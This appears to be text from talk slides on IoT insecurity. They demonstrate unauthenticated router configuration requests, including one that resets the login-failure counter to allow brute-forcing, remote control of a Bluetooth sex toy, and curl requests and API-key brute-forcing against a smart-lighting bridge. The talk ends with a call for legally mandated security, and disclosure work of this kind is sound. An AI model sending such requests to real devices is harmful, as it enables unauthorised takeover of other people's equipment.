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http://192.168.1.1/set_params.cgi?user=admin&pwd=&json=1&ssid=88888888&save=1&reboot=1

set_params.cgi

user=admin&pwd=

ssid=88888888

reboot=1
save=1
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TRIAL AND ERROR

read STATUS 
http://192.168.1.1/get_badauth.cgi

set ERROR counter to zero 
192.168.1.1/ 
set_params.cgi?user=admin&pwd=&json=1 
&error_times=0&save=1
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WIN A  
RASPBERRY PI 2 (1GB) 

Be the first to control the dildo.

a) download app Vibratissimo
b) connect to dildo via bluetooth
c) vibrate the dildo
d) you are a winner!
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Therewill belight
CREDITS to Marco di Filippo
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 http://192.168.2.2/api/H42VLZyIzAM3atNKhIgVigZsrNokZWfMqqYpyYCH/lights/3/state

PUT request
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H42VLZyIzAM3atNKhIgVigZsrNokZWfMqqYpyYCH

- Brute Force with CURL: 25 API keys / second
(too slow, ineffective)

- CURL status while button pressed

How to get the API key?
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 http://192.168.2.2/api/H42VLZyIzAM3atNKhIgVigZsrNokZWfMqqYpyYCH/lights/3/state

PUT request

PUT parameters
hue = 0-65535 (the lamp)
sat (saturation) 0-255
bri (brightness) 0-255
ct (colortemp) 153-500
alert = none, select, lselect (=one or endless flash)
effect = none, colorloop
transitiontime n (x100ms e.g. 4=400ms)
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 http://192.168.2.2/api/H42VLZyIzAM3atNKhIgVigZsrNokZWfMqqYpyYCH/lights/3/state
Parameters: ct=300

PUT request

curl -X PUT -d '{"ct":300}' http://192.168.2.2/api/H42VLZyIz(...)ZWfMqqYpyYCH/lights/3/state;

CURL PUT request

* allows programming in PHP, Perl, etc *
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IoT security today …

… must be cheap
… must be first on market
… manufacturer is good in what he does
… but has no idea about IT security



Blog: h(p://www.ich-glaube-es-hackt.de  	 	   	 	 	 Twi(er: @comedyhacker    	 	 	 	 	 	 	 	    	 Web: h(p://www.sichere.it

IoT security tomorrow …

… must be tested from 3rd parties
… must be secured by design
… updates must be available 
     at least for the planned lifetime of the device

How? By law!
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